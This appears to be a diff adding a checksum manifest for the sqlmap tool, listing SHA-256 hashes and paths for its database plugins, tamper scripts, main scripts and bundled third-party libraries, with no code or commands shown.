+275f8415688a8b68b71835f1c70f315e81985b8f3f19caa60c65f862f065a1f0 plugins/dbms/informix/syntax.py
+1ce793ee91c4de6eb7839adc379652d55ef54f162a9a030b948c54d55dc93c14 plugins/dbms/informix/takeover.py
+1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 plugins/dbms/__init__.py
+3869c8a1d6ddd4dbfe432217bb269398ecd658aaa7af87432e8fa3d4d4294bbc plugins/dbms/maxdb/connector.py
+3d0fef588c8972fc1aeab0c58d800cd128b557a48d8666c36c5b6dbc9617d19d plugins/dbms/maxdb/enumeration.py
+e67ecd7a1faf1ef9e263c387526f4cdeefd58e07532750b4ebffccc852fab4d2 plugins/dbms/maxdb/filesystem.py
+78d04c8a298f9525c9f0f392fa542c86d5629b0e35dd9383960a238ee937fb93 plugins/dbms/maxdb/fingerprint.py
+10db7520bc988344e10fe1621aa79796d7e262c53da2896a6b46fcf9ee6f5ba4 plugins/dbms/maxdb/__init__.py
+4878e83ef8e33915412f2fac17d92f1b1f6f18b47d31500cd93e59d68f8b5752 plugins/dbms/maxdb/syntax.py
+9cee07ca6bf4553902ede413e38dd48bf237e4c6d5cb4b1695a6be3f7fb7f92f plugins/dbms/maxdb/takeover.py
+77acb4eab62a6a5e95c40e3d597ed2639185cd50e06edc52b490c501236fc867 plugins/dbms/mckoi/connector.py
+7fbe94c519c3b9f232b0a5e0bc3dbc86d320522559b0b3fb2117f1d328104fd6 plugins/dbms/mckoi/enumeration.py
+22e1a0b482d1730117540111eabbbc6e11cb9734c71f68f1ccd9dfa554f6cd6c plugins/dbms/mckoi/filesystem.py
+0ed8453a46e870e5950ade7f3fe2a4ec9b3e42c48d8b00227ccca9341adc93f8 plugins/dbms/mckoi/fingerprint.py
+7adfaa981450b163bfa73f9726f3a88b6af7947e136651e1e9c99a9c96a185d2 plugins/dbms/mckoi/__init__.py
+4878e83ef8e33915412f2fac17d92f1b1f6f18b47d31500cd93e59d68f8b5752 plugins/dbms/mckoi/syntax.py
+db96a5a03cc45b9f273605a0ada131ef94a27cf5b096c4efa7edc7c8cd5217bd plugins/dbms/mckoi/takeover.py
+3a045dfe3f77457a9984f964b4ff183013647436e826d40d70bce2953c67754b plugins/dbms/mimersql/connector.py
+d376a4e2a9379f008e04f62754a4c719914a711da36d2265870d941d526de6ea plugins/dbms/mimersql/enumeration.py
+672dc9b3d291aa4f5d6c4cbe364e92b92e19ee6de86f6d9b9a4dda7d5611b409 plugins/dbms/mimersql/filesystem.py
+6a5b6b4e16857cbb93a59965ee510f6ab95b616f6f438c28d910da92a604728f plugins/dbms/mimersql/fingerprint.py
+7cdfe620b3b9dbc81f3a38ecc6d9d8422c901f9899074319725bf8ecec3e48cd plugins/dbms/mimersql/__init__.py
+557a6406ba15e53ed39a750771d581007fd21cc861a0302742171c67a9dd1a49 plugins/dbms/mimersql/syntax.py
+e9ef99b83542121ac4489526ecb90def4bba9ec62a0dd990bb39d7db387c5ff6 plugins/dbms/mimersql/takeover.py
+8a9d30546e3e96295b59bb5e53b352d039f785e0fa8ae19b2073083f1555f45b plugins/dbms/monetdb/connector.py
+ba04af3683b9a6e29e8fa6b3bf436a57e59435cebb042414f2df82018d91599e plugins/dbms/monetdb/enumeration.py
+672dc9b3d291aa4f5d6c4cbe364e92b92e19ee6de86f6d9b9a4dda7d5611b409 plugins/dbms/monetdb/filesystem.py
+5fd3a9eb6210c32395e025e327bfeb24fd18f0cc7da554be526c7f2ae9af3f7d plugins/dbms/monetdb/fingerprint.py
+05dc581f0fbed20030200e5c7bd45a971ad4e910c6502ad02cc6c26fd5937003 plugins/dbms/monetdb/__init__.py
+78f1ff4b82fd4af50e1fbdb81539862f1c31258cda212b39f4a8501960f1b95e plugins/dbms/monetdb/syntax.py
+236fd244f0bbc3976b389429a8176feda6c243267564c2a0eff6fc2458c1b3f9 plugins/dbms/monetdb/takeover.py
+6bdc774463ac87b1bd1b6a9d5c2346b7edbf40d9848b7870a30d1eaedde4fc51 plugins/dbms/mssqlserver/connector.py
+52c19e9067f22f5c386206943d1807af4c661500bf260930a5986e9a180e96c7 plugins/dbms/mssqlserver/enumeration.py
+838ed364ce46ae37fb5b02f47d2767f7d49595f81caf4bc51c1e25fd18e4aa65 plugins/dbms/mssqlserver/filesystem.py
+38ade085f9f1b227eda8c89f78e3ce869e8f430c98bef0cc7cbd2c7dcd60c24e plugins/dbms/mssqlserver/fingerprint.py
+1ecde09e80d7b709a710281f4983a6831bc02ca3458ae0b97b28446d6db241b4 plugins/dbms/mssqlserver/__init__.py
+a89074020253365b6c95a4fa53e41fb0dc16f26a209b31f28e65910f26b81d21 plugins/dbms/mssqlserver/syntax.py
+57f263084438e9b2ec2e62909fc51871e9eefb1a9156bbe87908592c5274b639 plugins/dbms/mssqlserver/takeover.py
+275ffb2a63c179a5b1673866fcd4020d7f30a68e6d7736e7e21094e2a3234578 plugins/dbms/mysql/connector.py
+51590c30177adf8c435e4d6d4be070f6708d81793f70577d9317daa4ef2485ba plugins/dbms/mysql/enumeration.py
+9523715aa823ecfc7a914afabf5fe3091583c93a23ccc270c61a78b007b7a652 plugins/dbms/mysql/filesystem.py
+b5708a7e3179896f0242f6188642d0f613371b2f621ad8ebb0a53c934dd36259 plugins/dbms/mysql/fingerprint.py
+e2289734859246e6c1a150d12914a711901d10140659beded7aa14f22d11bca3 plugins/dbms/mysql/__init__.py
+02a37c42e8a87496858fd6f9d77a5ab9375ea63a004c5393e3d02ca72bc55f19 plugins/dbms/mysql/syntax.py
+1e6a7c6cc77772a4051d88604774ba5cc9e06b1180f7dba9809d0739bc65cf37 plugins/dbms/mysql/takeover.py
+af1b89286e8d918e1d749db7cce87a1eae2b038c120fb799cc8ee766eb6b03e1 plugins/dbms/oracle/connector.py
+5965da4e8020291beb6f35a5e11a6477edb749bdeba668225aea57af9754a4b3 plugins/dbms/oracle/enumeration.py
+94132121cd085e314e9fe63d2ac174e0e26acd4ed17cdce46f93ab36c71967d9 plugins/dbms/oracle/filesystem.py
+0b2dd004b9c9c41dbdd6e93f536f31a2a0b62c2815eb8099299cd692b0dd08a1 plugins/dbms/oracle/fingerprint.py
+fd0bfc194540bd83843e4b45f431ad7e9c8fd4a01959f15f2a5e30dcfa6acf60 plugins/dbms/oracle/__init__.py
+a5ec593a2e57d658e3448dd108781a3761484c41c0f67f6a3db59d9def57d71a plugins/dbms/oracle/syntax.py
+a74fc203fbcc1c4a0656f40ed51274c53620be095e83b3933b5d2e23c6cea577 plugins/dbms/oracle/takeover.py
+cc55a6bb81c182fca0482acd77ff065c441944ed7a7ef28736e4dff35d9dce5b plugins/dbms/postgresql/connector.py
+81a6554971126121465060fd671d361043383e2930102e753c1ad5a1bea0abf6 plugins/dbms/postgresql/enumeration.py
+cd6e7b03623f9cecd8151ddaac111072edb79e16588da8e7b3c37e9d233b290b plugins/dbms/postgresql/filesystem.py
+56a3c0b692187aef120fedb639e10cecf02fbf46e9625d327a0cd4ae07c6724e plugins/dbms/postgresql/fingerprint.py
+9c14f8ad202051f3f7b72147bae891abb9aa848a6645aa614a051314ac91891a plugins/dbms/postgresql/__init__.py
+4fce63dd766a35b7273351df2de706c37a0392479578705853b4333c119f2270 plugins/dbms/postgresql/syntax.py
+d3cb1ebaf594b30cebddd16a8dcf6cf33a3536c3da4caf7e4b9d8c910288eb8d plugins/dbms/postgresql/takeover.py
+9a63ef08407c1f4686679343e733bfc124d287ebadf747db5ecbc3abed694462 plugins/dbms/presto/connector.py
+23e2fb4fc9c6b84d7503986f311da9c3a9c6eb261433f80be1e854144ebb15b4 plugins/dbms/presto/enumeration.py
+874532c0a1a09e2c3d6ea5f4b9e12552ce18ae04a8d13a9f8e099071760f4a73 plugins/dbms/presto/filesystem.py
+acd58559efbce9f94683260c45619286b5bb015ff5dbf39b9e8c9b286f34fbe8 plugins/dbms/presto/fingerprint.py
+5c104b3ee2e86bf29a8f446d7779470b42d173e87b672c43257289b0d798d2b1 plugins/dbms/presto/__init__.py
+859cc5b9be496fe35f2782743f8e573ff9d823de7e99b0d32dbc250c361c653e plugins/dbms/presto/syntax.py
+98e28b754352529381b5cffdc701a1c08158d7e7466764310627280d51f744ba plugins/dbms/presto/takeover.py
+b76606fe4dee18467bc0d19af1e6ab38c0b5593c6c0f2068a8d4c664d4bd71d8 plugins/dbms/raima/connector.py
+396e661bf4d75fac974bf1ba0d6dfd0a74d2bd07b7244f06a12d7de14507ebcb plugins/dbms/raima/enumeration.py
+675e2a858ccd50fe3ee722d372384e060dfd50fe52186aa6308b81616d8cc9ac plugins/dbms/raima/filesystem.py
+98a014372e7439a71e192a1529decd78c2da7b2341653fc2c13d030a502403d4 plugins/dbms/raima/fingerprint.py
+3b49758a10ce88c5d8db081cdb4924168c726d1e060e6d09601796fba2a3fbee plugins/dbms/raima/__init__.py
+1df5c5d522b381ef48174cfc5c9e1149194e15c80b9d517e3ed61d60b1a46740 plugins/dbms/raima/syntax.py
+5b9572279051ab345f45c1db02b02279a070aafdc651aedd7f163d8a6477390b plugins/dbms/raima/takeover.py
+5744531487abfb0368e55187a66cb615277754a14c2e7facea2778378e67d5c9 plugins/dbms/snowflake/connector.py
+99f7a319652f7a46f724cfced5555bbaade28e64c90f80b5f0b3cfbbb29a958a plugins/dbms/snowflake/enumeration.py
+3b52302bc41ab185d190bbef58312a4d6f1ee63caa8757309cda58eb91628bc5 plugins/dbms/snowflake/filesystem.py
+99c62be4ca44f5b059c87516c63919542a087e599895ec6f9bcb1a272df31a61 plugins/dbms/snowflake/fingerprint.py
+1de7c93b445deb0766c314066cb122535e9982408614b0ff952a97cbae9b813a plugins/dbms/snowflake/__init__.py
+859cc5b9be496fe35f2782743f8e573ff9d823de7e99b0d32dbc250c361c653e plugins/dbms/snowflake/syntax.py
+da43fed8bfa4a94aaceb63e760c69e9927c1640e45e457b8f03189be6604693f plugins/dbms/snowflake/takeover.py
+cae01d387617e3986b9cfb23519b7c6a444e2d116f2dc774163abec0217f6ed6 plugins/dbms/sqlite/connector.py
+fbcff0468fcccd9f86277d205b33f14578b7550b33d31716fd10003f16122752 plugins/dbms/sqlite/enumeration.py
+013f6cf4d04edce3ee0ede73b6415a2774e58452a5365ab5f7a49c77650ba355 plugins/dbms/sqlite/filesystem.py
+5e0551dac910ea2a2310cc3ccbe563b4fbe0b41de6dcca8237b626b96426a16c plugins/dbms/sqlite/fingerprint.py
+f5b28fe6ff99de3716e7e2cd2304784a4c49b1df7a292381dae0964fb9ef80f3 plugins/dbms/sqlite/__init__.py
+351a9accf1af8f7d18680b71d9c591afbe2dec8643c774e2a3c67cc56474a409 plugins/dbms/sqlite/syntax.py
+e56033f9a9a1ef904a6cdbc0d71f02f93e8931a46fe050d465a87e38eb92df67 plugins/dbms/sqlite/takeover.py
+b801f9ed84dd26532a4719d1bf033dfde38ecaccbdea9e6f5fd6b3395b67430d plugins/dbms/sybase/connector.py
+8173165097ac6720258cf8a5ccf97600d5aa94378182ad0e1ccaa4cfcfa0c038 plugins/dbms/sybase/enumeration.py
+73b41e33381cd8b13c21959006ef1c6006540d00d53b3ccb1a7915578b860f23 plugins/dbms/sybase/filesystem.py
+49ec03fe92dab994ee7f75713144b71df48469dca9eb8f9654d54cdcb227ea2c plugins/dbms/sybase/fingerprint.py
+0d234ddd3f66b5153feb422fc1d75937b432d96b5e5f8df2301ddcadf6c722b2 plugins/dbms/sybase/__init__.py
+233543378fb82d77192dca709e4fdc9ccf42815e2c5728818e2070af22208404 plugins/dbms/sybase/syntax.py
+b10e4cdde151a46c1debba90f483764dc54f9ca2f86a693b9441a47f9ebe416f plugins/dbms/sybase/takeover.py
+b76fb28d47bf16200d69a63d2db1de305ab7e6cb537346bb4b3d9e6dba651f45 plugins/dbms/vertica/connector.py
+654f37677bb71400662143dc3c181acd73608b79069cdec4ec1600160094c3b4 plugins/dbms/vertica/enumeration.py
+672dc9b3d291aa4f5d6c4cbe364e92b92e19ee6de86f6d9b9a4dda7d5611b409 plugins/dbms/vertica/filesystem.py
+342fd363640ae6b4d27b7075409ddd0ee39118dc8f78005f05d94134690eda88 plugins/dbms/vertica/fingerprint.py
+21e1bfdbb4853c92d21305d4508eba7f64e8f50483cb02c44ecb9bb8593a7574 plugins/dbms/vertica/__init__.py
+5192982f6ccf2e04c5fa9d524353655d957ef4b39495c7e22df0028094857930 plugins/dbms/vertica/syntax.py
+e7e6bc4867a1d663a0f595542cc8a1fc69049cb8653cbe0f61f025ed6aec912c plugins/dbms/vertica/takeover.py
+d9a8498fd225824053c82d2950b834ca97d52edcc0009904d53170fffb42adf0 plugins/dbms/virtuoso/connector.py
+4404a3b1af5f0f709f561a308a1770c9e20ca0f5d2c01b8d39ccbc2daccfcdc7 plugins/dbms/virtuoso/enumeration.py
+54212546fef4ac669fa9799350a94df36b54c4057429c0f46d854377682d7b74 plugins/dbms/virtuoso/filesystem.py
+5f39d91dce66af09d4361e8af43a0ad0e26c1a807a24f4abed1a85cae339e48d plugins/dbms/virtuoso/fingerprint.py
+e2e20e4707abe9ed8b6208837332d2daa4eaca282f847412063f2484dcca8fbd plugins/dbms/virtuoso/__init__.py
+859cc5b9be496fe35f2782743f8e573ff9d823de7e99b0d32dbc250c361c653e plugins/dbms/virtuoso/syntax.py
+2b2dad6ba1d344215cad11b629546eb9f259d7c996c202edf3de5ab22418787e plugins/dbms/virtuoso/takeover.py
+51c44048e4b335b306f8ed1323fd78ad6935a8c0d6e9d6efe195a9a5a24e46dc plugins/generic/connector.py
+a967f4ebd101c68a5dcc10ff18c882a8f44a5c3bf06613d951a739ecc3abb9b3 plugins/generic/custom.py
+c091caecc93c01e17fa5432101555cae824492c060b9b7ee35cb49a211365076 plugins/generic/databases.py
+4050f9dfa8a2f8dbe6ae75f91d71b3d1fa3a4b1bd28404c4a346d5a83ad512df plugins/generic/entries.py
+d2de7fc135cf0db3eb4ac4a509c23ebec5250a5d8043face7f8c546a09f301b5 plugins/generic/enumeration.py
+a02ac4ebc1cc488a2aa5ae07e6d0c3d5064e99ded7fd529dfa073735692f11df plugins/generic/filesystem.py
+efd7177218288f32881b69a7ba3d667dc9178f1009c06a3e1dd4f4a4ee6980db plugins/generic/fingerprint.py
+1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 plugins/generic/__init__.py
+ba07e54265cf461aed678df49fe3550aec90cb6d8aa9387458bd4b7064670d00 plugins/generic/misc.py
+7c1b1f91925d00706529e88a763bc3dabafaf82d6dbc01b1f74aeef0533537a1 plugins/generic/search.py
+da8cc80a09683c89e8168a27427efecda9f35abc4a23d4facd6ffa7a837015c4 plugins/generic/syntax.py
+eb45fd711efa71ab9d91d815cc8abebc9abc4770311fbb827159008b000f4fc2 plugins/generic/takeover.py
+45bfd00f09557e20115e6ce7fb52ff507930d705db215e535f991e5fbf7464de plugins/generic/users.py
+1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 plugins/__init__.py
+423d9bfaddb3cf527d02ddda97e53c4853d664c51ef7be519e4f45b9e399bc30 README.md
+c6ad39bfd1810413402dedfc275fc805fa13f85fc490e236c1e725bde4e5100b sqlmapapi.py
+4e993cfe2889bf0f86ad0abafd9a6a25849580284ea279b2115e99707e14bb97 sqlmapapi.yaml
+a40607ce164eb2d21865288d24b863edb1c734b56db857e130ac1aef961c80b9 sqlmap.conf
+4cec2aae8d65d67cd6db60f00217aa05ab449345ed3a38e04697b85b53d755f1 sqlmap.py
+eb37a88357522fd7ad00d90cdc5da6b57442b4fec49366aadb2944c4fbf8b804 tamper/0eunion.py
+a9785a4c111d6fee2e6d26466ba5efb3b229c00520b26e8024b041553b53efba tamper/apostrophemask.py
+cf26bc8006519bd25ce06d347f72770cd75b61575cf65e5812274e8ab9392eb4 tamper/apostrophenullencode.py
+0b9ed12565bf000c9daa2317e915f2325ccabee1fa5ed5552c0787733fbccffe tamper/appendnullbyte.py
+11ad15d66c43f32f5d0a39052e5f623a4752ad4fb275d642f2e4cd841ff82b41 tamper/base64encode.py
+cb833979eccf26a5e176f7c8ca40a24bf9904cb2902a1b9df436aefb6a24447e tamper/between.py
+6e72b92662185a56847cca235106bc354bd6a10e3e89a135b9ea8fa09cd8eb34 tamper/binary.py
+9e1852d61d439181c42cb6d28656e9464a1dd5991269f000fb47e107f2f6f4f1 tamper/bluecoat.py
+578e36fcf7d596574119ef75cbf1a83040913587a02855f0b6a7e684f9f9c8a5 tamper/chardoubleencode.py
+c7892bff56b2b85dfdf9f24c783c569edac57a3fd5a254cf4554987a374206c9 tamper/charencode.py
+72c163ff0b4f79bdec07fbea3e75a2eaa8304881d35287eab8f03c25d06e99e0 tamper/charunicodeencode.py
+50107854594fb13b4b95eed2ab8e66d2dd5470dd7d6b59c124ca766b1ec4b6ed tamper/charunicodeescape.py
+d0d8f2df2c29d81315a867ecb6baa9ca430e8f98d04f4df3879f2bcd697fac16 tamper/commalesslimit.py
+1aee4e920b8ffa4a79b2ac9a42e2d7de13434970b3d1e0c6911c26bdd0c7b4e7 tamper/commalessmid.py
+ff8d05da2c5a123a231671c97ee80bb77b6631d7e5356d836cfe15ef212b73e5 tamper/commentbeforeparentheses.py
+66cad47087c78a5658445f8a00f2e1cd533a6d7c57aec2d1eb1fe486956aa3ea tamper/concat2concatws.py
+b5a5ba94a78cf83b35cdb0b08d9d69dbf1f33c07cc5152c560ae5aee54a4c066 tamper/decentities.py
+1d6bcc5ffe235840370cd9738b5e8067f8b24e8c0e2bb629d330a7e5c379328a tamper/dunion.py
+99c59e6fd7cafc9238c53e037eff457823854eef7cb0c5ea05941e0223229209 tamper/equaltolike.py
+b3940e8d029150a81f17a2da1141928c31b6abb9ade3672d093051e310439995 tamper/equaltorlike.py
+d528e74ae7c9fc0cd45369046d835a8f1e6f9252eeef6d84d9978d7e329ab35f tamper/escapequotes.py
+0694f202a4f57e0a5c4d5aa72eee121b6f344d4e03692d9e267e2212abed719c tamper/greatest.py
+26e57bc7c118168f20a5fc80d2d2fdbef05c027328c5c55cbbe92047ee8123da tamper/halfversionedmorekeywords.py
+f0a7b635061385a3bf399cc51faf4d5e10694266aaa21fba557ca655c00a09bc tamper/hex2char.py
+9096cbf2283137d592408325347f46866fd139966c946f8ba1ea61826472d0bb tamper/hexentities.py
+3e518ace6940d54e8844c83781756e85d5670c53dfac0a092c4ee36cd5111885 tamper/htmlencode.py
+04028ea55034ef5c82167db35cb1276d3d5c717f6b22507b791342ccf82722ad tamper/if2case.py
+365085e79d296791464ec3f041a26554b19ba4865c4a727e258e9586b0bcfbe7 tamper/ifnull2casewhenisnull.py
+e73e3723d4b61515d7ad2c0fe6e9a9dcaeeac6a93ed6149f44d59e4e41543226 tamper/ifnull2ifisnull.py
+94fe273bee7df27c9b4f1ee043779d06e4553169d9aec30c301d469275883dd1 tamper/informationschemacomment.py
+1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 tamper/__init__.py
+017c91ba64c669382aa88ce627f925b00101a81c1a37a23dba09bfa2bfaf42ae tamper/least.py
+d762543ef6d90fd6ce8b897fdfb864e0461d2941922d331d97a334aefdbbe291 tamper/lowercase.py
+a890b9da3e103f70137811c73eeddfffa0dcd9fa95d1ff02c40fdc450f1d9beb tamper/luanginxmore.py
+93d749469882d9a540397483ad394af161ced3d43b7cefd1fad282a961222d69 tamper/luanginx.py
+d68eb164a7154d288ffea398e72229cfc3fc906d0337ca9322e28c243fbd5397 tamper/misunion.py
+eafd7ad140281773f92c24dbc299bec318e1c0cced4409e044e94294e40ad030 tamper/modsecurityversioned.py
+b533f576b260f485ebb70566c520979608d9f1790aa2811ce8194970b63e0d96 tamper/modsecurityzeroversioned.py
+6a6b69def1a9143748fc03aa951486621944e9ee732287e1a39ce713b2b04436 tamper/multiplespaces.py
+687f531696809452a37f631cdb201267b04cb83b34a847aec507aca04e2ec305 tamper/ord2ascii.py
+07cca753862dc9a2379aea23823d71ad6f4f6716a220e01792467549f8bde95a tamper/overlongutf8more.py
+b17748d63b763a7bfd2188f44145345507ce71e1b46f29d747132da5c56d7ed0 tamper/overlongutf8.py
+dea9ab017cc4bde6f61f95a4f400ecba441525ff2d2dba886a2bf3ecdc1af605 tamper/percentage.py
+5437bc272398173c997d7b156dac1606dcde30421923bfc8f744d3668441d79e tamper/plus2concat.py
+3cec7391b8b586474455ef4b089a27c67406ba02f91698647bb113c291f38692 tamper/plus2fnconcat.py
+007a21d189bfedd48d4ca2704fb7ea709ea72f4b206e38a7fe40446a12b0a6e3 tamper/randomcase.py
+27dfb51abe8f97a833309c2a42c31a63c0eda4711d122639c5ea31e5b5a9021a tamper/randomcomments.py
+e11f10ab09c2a7f44ca2a42b35f9db30d1d3715981bd830ea4e00968be51931b tamper/schemasplit.py
+21fae428f0393ab287503cc99997fba33c9a001a19f6dd203bbcc420a62a4b90 tamper/scientific.py
+7a71736657ca2b27a01f5f988a5c938d67a0f7e9558caba9041bd17b2cef9813 tamper/sleep2getlock.py
+856de1573ba9b08f6f33e28ca5a96341697762afa163835dcd4772ba6e1dadc6 tamper/space2comment.py
+715b56e60e8f7bf0a1198b356a32374797a8c2e1ba1f888794626205d63c63d5 tamper/space2dash.py
+21c43aafe994e798335e6756fbed15f430629beb49042b56d47f232022044a65 tamper/space2hash.py
+329fa6e9bb27e1770ccc1c42c3b3ddc8e57a970959d8482ff102d7bfee546a49 tamper/space2morecomment.py
+c088e7061a1a4676bc7714f64005ac275fae349f3dc665f2d565f56ecae7619f tamper/space2morehash.py
+f823e5afbd5ab8e3fb478d984528c7f675561cf2b4eb6634a5bc11756097a01f tamper/space2mssqlblank.py
+0d3b1336a5ca15de0ce5617c153f91ff8715c34cf886a71cb8df5ae887df301d tamper/space2mssqlhash.py
+528723c9cea1d91dac22cb44cab6f8f0174f98c3c547b42017589d9a19a314e1 tamper/space2mysqlblank.py
+466bb10955155a042fe4ec3b3df6b98193fba1187a376179e0d4dbc068215d91 tamper/space2mysqldash.py
+4ea418f8b226b0ab369f3a8e726b7df0bc4701a2d93585de70e13febe5f438b7 tamper/space2plus.py
+b3b79bbcf48ba943af57978e32b928d567f28ed4e45651f15f9fe898e00c0331 tamper/space2randomblank.py
+6769cbe7b42265ff257a49e17e894bc19ff805802e19f27d57c07a212de70a11 tamper/sp_password.py
+8e52309b893770bce57215fd3bf42d53d7f0d164690b4121b598126cbaaf6bc3 tamper/substring2leftright.py
+d4b29c9a47961430dd0a24c22f8fe2968374ca5b0611e8b2837481c8d77672bf tamper/symboliclogical.py
+c442ec7bb6676bdc58447fa54c719a9322b1728ba96c2358081a73fa8a4612ff tamper/unionalltounion.py
+9ebf67b9ce10b338edc3e804111abe56158fa0a69e53aacdd0ffa0e0b6af1f70 tamper/unmagicquotes.py
+67a83f8b6e99e9bb3344ad6f403e1d784cf9d3f3b7e8e40053cf3181fabe47fa tamper/uppercase.py
+3e54d7f98ca75181e6b16aa306d5a5f5f0dce857d5b3e6ce5a07d501f5d915aa tamper/varnish.py
+7d469ee594390cbc10378f83af403bba249240eab00f0ad5a5fe0e3fa1fcbf0d tamper/versionedkeywords.py
+dcb7a5584390f1604adff075c94139dd23711f2f516b68683ec4208dd0a00fda tamper/versionedmorekeywords.py
+ce1b6bf8f296de27014d6f21aa8b3df9469d418740cd31c93d1f5e36d6c509cf tamper/xforwardedfor.py
+55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a thirdparty/ansistrm/ansistrm.py
+e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/ansistrm/__init__.py
+f597b49ef445bfbfb8f98d1f1a08dcfe4810de5769c0abfab7cdce4eebbfcae7 thirdparty/beautifulsoup/beautifulsoup.py
+7d62c59f787f987cbce0de5375f604da8de0ba01742842fb2b3d12fcb92fcb63 thirdparty/beautifulsoup/__init__.py
+f862301288d2ba2f913860bb901cd5197e72c0461e3330164f90375f713b8199 thirdparty/bottle/bottle.py
+9f56e761d79bfdb34304a012586cb04d16b435ef6130091a97702e559260a2f2 thirdparty/bottle/__init__.py
+0ffccae46cb3a15b117acd0790b2738a5b45417d1b2822ceac57bdff10ef3bff thirdparty/chardet/big5freq.py
+901c476dd7ad0693deef1ae56fe7bdf748a8b7ae20fde1922dddf6941eff8773 thirdparty/chardet/big5prober.py
+df0a164bad8aac6a282b2ab3e334129e315b2696ba57b834d9d68089b4f0725f thirdparty/chardet/chardistribution.py
+e9b0eef1822246e49c5f871af4881bd14ebd4c0d8f1975c37a3e82738ffd90ee thirdparty/chardet/charsetgroupprober.py
+2929b0244ae3ca9ca3d1b459982e45e5e33b73c61080b6088d95e29ed64db2d8 thirdparty/chardet/charsetprober.py
+558a7fe9ccb2922e6c1e05c34999d75b8ab5a1e94773772ef40c904d7eeeba0f thirdparty/chardet/codingstatemachine.py
+3ca4f31e449bb5b1c3a92f4fcae8cc6d7ef8ab56bc98ca5e4130d5b10859311c thirdparty/chardet/compat.py
+4d9e37e105fccf306c9d4bcbffcc26e004154d9d9992a10440bfe5370f5ff68c thirdparty/chardet/cp949prober.py
+0229b075bf5ab357492996853541f63a158854155de9990927f58ae6c358f1c5 thirdparty/chardet/enums.py
+924caa560d58c370c8380309d9b765c9081415086e1c05bc7541ac913a0d5927 thirdparty/chardet/escprober.py
+46e5e580dbd32036ab9ddbe594d0a4e56641229742c50d2471df4402ec5487ce thirdparty/chardet/escsm.py
+883f09769d084918e08e254dedfd1ef3119e409e46336a1e675740f276d2794c thirdparty/chardet/eucjpprober.py
+fbb19d9af8167b3e3e78ee12b97a5aeed0620e2e6f45743c5af74503355a49fa thirdparty/chardet/euckrfreq.py
+32a14c4d05f15b81dbcc8a59f652831c1dc637c48fe328877a74e67fc83f3f16 thirdparty/chardet/euckrprober.py
+368d56c9db853a00795484d403b3cbc82e6825137347231b07168a235975e8c0 thirdparty/chardet/euctwfreq.py
+d77a7a10fe3245ac6a9cfe221edc47389e91db3c47ab5fe6f214d18f3559f797 thirdparty/chardet/euctwprober.py
+257f25b3078a2e69c2c2693c507110b0b824affacffe411bbe2bc2e2a3ceae57 thirdparty/chardet/gb2312freq.py
+806bc85a2f568438c4fb14171ef348cab9cbbc46cc01883251267ae4751fca5c thirdparty/chardet/gb2312prober.py
+737499f8aee1bf2cc663a251019c4983027fb144bd93459892f318d34601605a thirdparty/chardet/hebrewprober.py
+62c3f9c1096c1c9d9ab85d516497f2a624ab080eff6d08919b7112fcd23bebe6 thirdparty/chardet/__init__.py
+be9989bf606ed09f209cc5513c730579f4d1be8fe16b59abc8b8a0f0207080e8 thirdparty/chardet/jisfreq.py
+3d894da915104fc2ccddc4f91661c63f48a2b1c1654d6103f763002ef06e9e0a thirdparty/chardet/jpcntx.py
+d47a904bd3dbb678f5c508318ad24cbf0f17ea42abe4ea1c90d09959f110acf1 thirdparty/chardet/langbulgarianmodel.py
+2ce0da8efb1eb47f3bc980c340a0360942d7507f3bb48db6ddd85f8e1f59c7d7 thirdparty/chardet/langcyrillicmodel.py
+f18016edb53c6304896a9d2420949b3ccc35044ab31a35b3a9ca9fd168142800 thirdparty/chardet/langgreekmodel.py
+2529ea984e44eb6b432d33d3bcba50b20e6038c3b83db75646f57b02f91cd070 thirdparty/chardet/langhebrewmodel.py
+4616a96121b997465a3be555e056a7e6c5b4591190aa1c0133ad72c77cb1c8e0 thirdparty/chardet/langhungarianmodel.py
+f25d35ef71aefd6e86f26c6640e4c417896cd98744ec5c567f74244b11065c94 thirdparty/chardet/langthaimodel.py
+5b6d9e44d26ca88eae5807f05d22955969c27ab62aac8f1d6504e6fccd254459 thirdparty/chardet/langturkishmodel.py
+4b6228391845937f451053a54855ad815c9b4623fa87b0652e574755c94d914f thirdparty/chardet/latin1prober.py
+011f797851fdbeea927ef2d064df8be628de6b6e4d3810a85eac3cb393bdc4b4 thirdparty/chardet/mbcharsetprober.py
+87a4d19e762ad8ec46d56743e493b2c5c755a67edd1b4abebc1f275abe666e1e thirdparty/chardet/mbcsgroupprober.py
+498df6c15205dc7cdc8d8dc1684b29cbd99eb5b3522b120807444a3e7eed8e92 thirdparty/chardet/mbcssm.py
+2c34a90a5743085958c149069300f6a05c4b94f5885974f4f5a907ff63e263be thirdparty/chardet/sbcharsetprober.py
+d48a6b70207f935a9f9a7c460ba3016f110b94aa83dec716e92f1823075ec970 thirdparty/chardet/sbcsgroupprober.py
+208b7e9598f4589a8ae2b9946732993f8189944f0a504b45615b98f7a7a4e4c4 thirdparty/chardet/sjisprober.py
+a8bd35ef8952644e38d9e076d679e4b53f7f55c0327b4ee5685594794ae3b6d6 thirdparty/chardet/universaldetector.py
+21d0fcbf7cd63ac07c38b8b23e2fb2fdfab08a9445c55f4d73578a04b4ae204c thirdparty/chardet/utf8prober.py
+b29dc1d3c9ab0d707ea5fdcaf5fa89ff37831ce08b0bc46b9e04320c56a9ffb8 thirdparty/chardet/version.py
+1c1ee8a91eb20f8038ace6611610673243d0f71e2b7566111698462182c7efdd thirdparty/clientform/clientform.py
+e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/clientform/__init__.py
+162d2e9fe40ba919bebfba3f9ca88eab20bc3daa4124aec32d5feaf4b2ad4ced thirdparty/colorama/ansi.py
+a7070aa13221d97e6d2df0f522b41f1876cd46cb1ddb16d44c1f304f7bab03a3 thirdparty/colorama/ansitowin32.py
+d7b5750fa3a21295c761a00716543234aefd2aa8250966a6c06de38c50634659 thirdparty/colorama/initialise.py
+f71072ad3be4f6ea642f934657922dd848dee3e93334bc1aff59463d6a57a0d5 thirdparty/colorama/__init__.py
+fd2084a132bf180dad5359e16dac8a29a73ebfd267f7c9423c814e7853060874 thirdparty/colorama/win32.py
